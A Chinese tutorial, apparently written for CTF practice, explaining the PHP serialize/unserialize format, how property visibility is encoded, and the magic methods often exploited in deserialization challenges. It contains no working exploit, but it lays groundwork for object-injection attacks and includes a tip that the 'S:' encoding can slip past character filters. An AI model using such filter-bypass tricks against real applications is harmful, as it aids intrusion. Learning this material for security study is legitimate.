反序列化函数

  • unserialize(): 将一个已序列化的字符串转换回 PHP 的值。例如:$array = unserialize($serializedStr); 可以将一个序列化的数组字符串转换为数组。

数据库操作函数

  • mysql_query(), mysqli_query(): 发送一个 MySQL 查询。例如:$result = mysql_query("SELECT * FROM users");

其他函数

  • preg_replace(): 执行正则表达式搜索和替换。例如:$newStr = preg_replace("/apple/i", "orange", $str); 会将 $str 中的 “apple” 替换为 “orange”。
  • create_function(): 创建匿名的 lambda 函数。例如:$func = create_function('$x', 'return $x + 1;');

PHP 序列化及反序列化基础

标题有说道,这两种数据处理方式, 序列化 和 反序列化。

  • 序列化 是将 PHP 对象转换为字符串的过程,可以使用 serialize() 函数来实现。该函数将对象的状态以及它的类名和属性值编码为一个字符串。序列化后的字符串可以存储在文件中,存储在数据库中,或者通过网络传输到其他地方。
  • 反序列化 是将序列化后的字符串转换回 PHP 对象的过程,可以使用 unserialize() 函数来实现。该函数会将序列化的字符串解码,并将其转换回原始的 PHP 对象。
  • 序列化的目的是方便数据的存储,在 PHP 中,他们常被用到缓存、session、cookie 等地方。

下面我们从数组的反序列化开始 一步一步讲解。

数组的反序列化

1
2
3
4
5
6
7
8
9
10
<?php
$username = array("tan","ji");

$username = serialize($username);

echo ($username. "\n");

print_r(unserialize($username));

var_dump(unserialize($username));

上面对数组的反序列化会输出:

1
2
3
4
5
6
7
8
9
10
11
12
a:2:{i:0;s:3:"tan";i:1;s:2:"ji";} ----- echo ($username. "\n");
Array -------------------------------- print_r(unserialize($username));
(
[0] => tan
[1] => ji
)
array(2) { ---------------------------- var_dump(unserialize($username));
[0]=>
string(3) "tan"
[1]=>
string(2) "ji"
}

在上面反序列化中的字符中,每个部分代表不同的属性:

image-20230511213751065

以此类推 ww

普通对象的反序列化

我们先看一个简单的对象示例:

1
2
3
4
5
6
7
8
<?php
class User {
public $name;

public function __construct($name) {
$this->name = $name;
}
}

该对象允许使用下面的语法创建:

1
$user = new User("Probius_Official");

下面我们对其进行序列化,并且输出出来:

1
2
$serializedData = serialize($user);
echo $serializedData . "\n";

可以得到下面的输出:

1
O:4:"User":1:{s:4:"name";s:16:"Probius_Official";}

image-20230511220616100

此时我们如果采用数组为姓名变量:

1
$user = new User(array("Probius","Official"));

则再次运行,输出就变成了:

1
O:4:"User":1:{s:4:"name";a:2:{i:0;s:7:"Probius";i:1;s:8:"Official";}}

image-20230511221906077

其实拆分开来没那么难理解。

然后我们针对上面的代码,添加点类中的其他属性,如:保护变量 私有变量 自定义函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
<?php
class User {
public $name;
protected $email;
private $phoneNumber;
public function __construct($name, $email,$phoneNumber) {
$this->name = $name;
$this->email = $email;
$this ->phoneNumber = $phoneNumber;
}
public function getPhoneNumber(){
echo $this ->phoneNumber;
}
}
$user = new User(array("tan","ji"), 'admin@probius.xyz','19191145148');

$serializedData = serialize($user);
echo $serializedData . "\n";
$deserializedUser = unserialize($serializedData);
print_r($deserializedUser -> name);
echo $deserializedUser -> getPhoneNumber();
?>

其输出为:

Serialized Data

1
2
3
4
5
6
7
O:4:"User":3:{s:4:"name";a:2:{i:0;s:3:"tan";i:1;s:2:"ji";}s:8:" * email";s:17:"admin@probius.xyz";s:17:" User phoneNumber";s:11:"19191145148";}
Array
(
[0] => tan
[1] => ji
)
19191145148

为了方便理解,我们这样拆分一下:

1
2
3
4
5
O:4:"User":3:{s:4:"name";a:2:{i:0;s:3:"tan";i:1;s:2:"ji";}---- public $name;

s:8:" * email";s:17:"admin@probius.xyz";---------------------- protected $email;

s:17:" User phoneNumber";s:11:"19191145148";}----------------- private $phoneNumber;

观察不同类型变量名的字符长度标识,你会发现长度和你看到的好像有些不一样,那是因为在 protectedprivate 类型的变量中都加入了不可见字符:

如果是 protected 变量,则会在变量名前加上\x00*\x00

如果是 private 变量,则会在变量名前加上\x00类名

或许下面控制台的输出比起上面不可见字符变成了类似”``”空格的字符更直观(虽然也直观不到哪里去。

image-20230511223914122

所以一般我们在输出的时候都会先编码后输出,以免遇到保护和私有类序列化后不可见字符丢失的问题。

1
2
3
4
5
O:4:"User":3:{s:4:"name";a:2:{i:0;s:3:"tan";i:1;s:2:"ji";}---------- public $name;

s:8:"\x00*\x00email";s:17:"admin@probius.xyz";---------------------- protected $email;

s:17:"\x00User\x00phoneNumber";s:11:"19191145148";}----------------- private $phoneNumber;

echo urlencode($serializedData) :

1 2 3 4 5 O%3A4%3A%22User%22%3A3%3A%7Bs%3A4%3A%22name%22%3Ba%3A2%3A%7Bi%3A0%3Bs%3A3%3A%22tan%22%3Bi%3A1%3Bs%3A2%3A%22ji%22%3B%7D-------------------------------------------------------------- public $name; s%3A8%3A%22%00%2A%00email%22%3Bs%3A17%3A%22admin%40probius.xyz%22%3B------- protected $email; s%3A17%3A%22%00User%00phoneNumber%22%3Bs%3A11%3A%2219191145148%22%3B%7D---- private $phoneNumber;

自定义类的反序列化

如果我们把上面的类改成这样:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
<?php
class User implements Serializable {
public $name;
protected $email;
private $phoneNumber;

public function __construct($name, $email, $phoneNumber) {
$this->name = $name;
$this->email = $email;
$this->phoneNumber = $phoneNumber;
}

public function serialize() {
return serialize([
'name' => $this->name,
'email' => $this->email,
'phoneNumber' => $this->phoneNumber,
]);
}

public function unserialize($serialized) {
$data = unserialize($serialized);
$this->name = $data['name'];
$this->email = $data['email'];
$this->phoneNumber = $data['phoneNumber'];
}

public function getPhoneNumber() {
echo $this->phoneNumber;
}

public function getEmail() {
return $this->email;
}
}

$user = new User(array("tan","ji"), 'admin@probius.xyz', '19191145148');

$serializedData = serialize($user);

echo $serializedData . "\n";

$deserializedUser = unserialize($serializedData);

print_r($deserializedUser->name);

echo $deserializedUser->getPhoneNumber() . "\n";

echo $deserializedUser->getemail() . "\n";

在 User 类中,通过 class User implements Serializable 中的 Serializable 接口,我们可以定义 serialize()unserialize() 两个方法,实现控制类实例在序列化和反序列化过程中的行为。

这两个方法分别负责将类实例的属性序列化为字符串和从字符串中还原属性。

当我们使用全局的 serialize()unserialize() 函数时,这些方法会自动调用,从而让我们更好地控制序列化和反序列化过程。这也是该类型的类叫做 “CustomObject” 的原因。

当我们运行上面的程序时,控制台输出如下:

1
2
3
4
5
6
7
8
C:4:"User":125:{a:3:{s:4:"name";a:2:{i:0;s:3:"tan";i:1;s:2:"ji";}s:5:"email";s:17:"admin@probius.xyz";s:11:"phoneNumber";s:11:"19191145148";}} ---------------------------------------------------- echo $serializedData . "\n";
Array ------------------------------------------------ print_r($deserializedUser->name);
(
[0] => tan
[1] => ji
)
19191145148 ------------------------------------------ echo $deserializedUser->getPhoneNumber() . "\n";
admin@probius.xyz ------------------------------------ echo $deserializedUser->getemail() . "\n";

其格式大致为:C::""::{}

为了方便理解,我们这样同样拆分一下:

image-20230512150543122

其他标识

除了上面常见的几个序列化字母标识外,还有其他标识 , 这里我们一起总结一下:

  • a:array 数组
1
echo serialize(array(1,2)); --- a:2:{i:0;i:1;i:1;i:2;}
  • b:boolean bool 值
1
2
echo serialize(true);  ---- b:1;
echo serialize(false); ---- b:0;
  • C:custom object 自定义对象序列化

使用 Serializable 接口定义了序列化和反序列化方法的类

1
class yourClassName implements Serializable
  • d:double 小数
1
echo serialize(1.1); ---- d:1.1;
  • i:integer 整数
1
echo serialize(114); ---- i:114;
  • o:commonObject 对象
1
似乎在php4的时候就弃用了
  • O:Object 对象
1
2
3
class a{}
echo serialize(new a());
------ O:1:"a":0:{}
  • r:reference 对象引用 && R:pointer reference 指针引用
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?php
class A{

}
class B{
public $ClassA;
public $refer;
public $pointer;
public function __construct(){
$this->ClassA = new A();
$this->refer = $this->ClassA;
$this->pointer = &$this->ClassA;
}
}
$a = new B();
echo serialize($a);

控制台输出:

1
2
3
4
5
6
O:1:"B":3:
{
s:6:"ClassA";O:1:"A":0:{}
s:5:"refer";r:2;
s:7:"pointer";R:2;
}

image-20230512173231633

此外,引用对象的属性值取决于声明顺序。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
<?php
class A{

}
class C{

}
class B{
public $ClassA;
public $ClassC;
public $pointer_1;
public $pointer_2;

public $refer;

public function __construct(){
$this->ClassA = new A();
$this->ClassC = new C();
$this->refer = $this->ClassA;
$this->pointer_1 = &$this->ClassA;
$this->pointer_2 = &$this->ClassC;

}
}
$a = new B();
echo serialize($a);
// ----------------------- 当改变ClassA / C 的声明顺序的时候输出如下:
// O:1:"B":5:{s:6:"ClassC";O:1:"C":0:{}s:6:"ClassA";O:1:"A":0:{}s:9:"pointer_1";R:3;s:9:"pointer_2";R:2;s:5:"refer";r:3;}
// O:1:"B":5:{s:6:"ClassA";O:1:"A":0:{}s:6:"ClassC";O:1:"C":0:{}s:9:"pointer_1";R:2;s:9:"pointer_2";R:3;s:5:"refer";r:2;}
  • s:string 字符串
1
2
3
class a{}
echo serialize(new a());
------ O:1:"a":0:{}
  • S:encoded string
1
S:1:"\61"; --- 可以将16进制编码成字符,可以进行绕过特定字符
  • N:null NULL 值
1
echo serialize(NULL); --- N;

魔术方法

在 PHP 的序列化中,魔术方法(Magic Methods)是一组特殊的方法,这些方法以双下划线(__)作为前缀,可以在特定的序列化阶段触发从而使开发者能够进一步的控制 序列化 / 反序列化 的过程。

你可以在 PHP 官方文档中查找到对应魔术方法的定义和使用方法:PHP: 魔术方法 - Manual

一般在题目中常见的几个方法如下:

1
2
3
4
5
6
7
8
9
10
11
__wakeup() //------ 执行unserialize()时,先会调用这个函数
__sleep() //------- 执行serialize()时,先会调用这个函数
__destruct() //---- 对象被销毁时触发
__call() //-------- 在对象上下文中调用不可访问的方法时触发
__callStatic() //-- 在静态上下文中调用不可访问的方法时触发
__get() //--------- 用于从不可访问的属性读取数据或者不存在这个键都会调用此法
__set() //--------- 用于将数据写入不可访问的属性
__isset() //------- 在不可访问的属性上调用isset()或empty()触发
__unset() //------- 在不可访问的属性上使用unset()时触发
__toString() //---- 把类当作字符串使用时触发
__invoke() //------ 当尝试将对象调用为函数时触发

一份比较全面的表格:

magicMethods attribute
__construct 当一个对象被创建时自动调用这个方法,可以用来初始化对象的属性。
__destruct 当一个对象被销毁时自动调用这个方法,可以用来释放对象占用的资源。
__call 在对象中调用一个不存在的方法时自动调用这个方法,可以用来实现动态方法调用。
__callStatic 在静态上下文中调用一个不存在的方法时自动调用这个方法,可以用来实现动态静态方法调用。
__get 当一个对象的属性被读取时自动调用这个方法,可以用来实现属性的访问控制。
__set 当一个对象的属性被设置时自动调用这个方法,可以用来实现属性的访问控制。
__isset 当使用 isset() 或 empty() 测试一个对象的属性时自动调用这个方法,可以用来实现属性的访问控制。
__unset 当使用 unset() 删除一个对象的属性时自动调用这个方法,可以用来实现属性的访问控制。
__toString 当一个对象被转换为字符串时自动调用这个方法,可以用来实现对象的字符串表示。
__invoke 当一个对象被作为函数调用时自动调用这个方法,可以用来实现对象的可调用性。
__set_state 当使用 var_export() 导出一个对象时自动调用这个方法,可以用来实现对象的序列化和反序列化。
__clone 当一个对象被克隆时自动调用这个方法,可以用来实现对象的克隆。
__debugInfo 当使用 var_dump() 或 print_r() 输出一个对象时自动调用这个方法,可以用来控制对象的调试信息输出。
__sleep 在对象被序列化之前自动调用这个方法,可以用来控制哪些属性被序列化。
__wakeup 在对象被反序列化之后自动调用这个方法,可以用来重新初始化对象的属性。

PHP 官方文档已经很详细了,这里不在赘述,不一定需要学会所有的函数,除开常见的,其他的在遇到的时候查阅即可。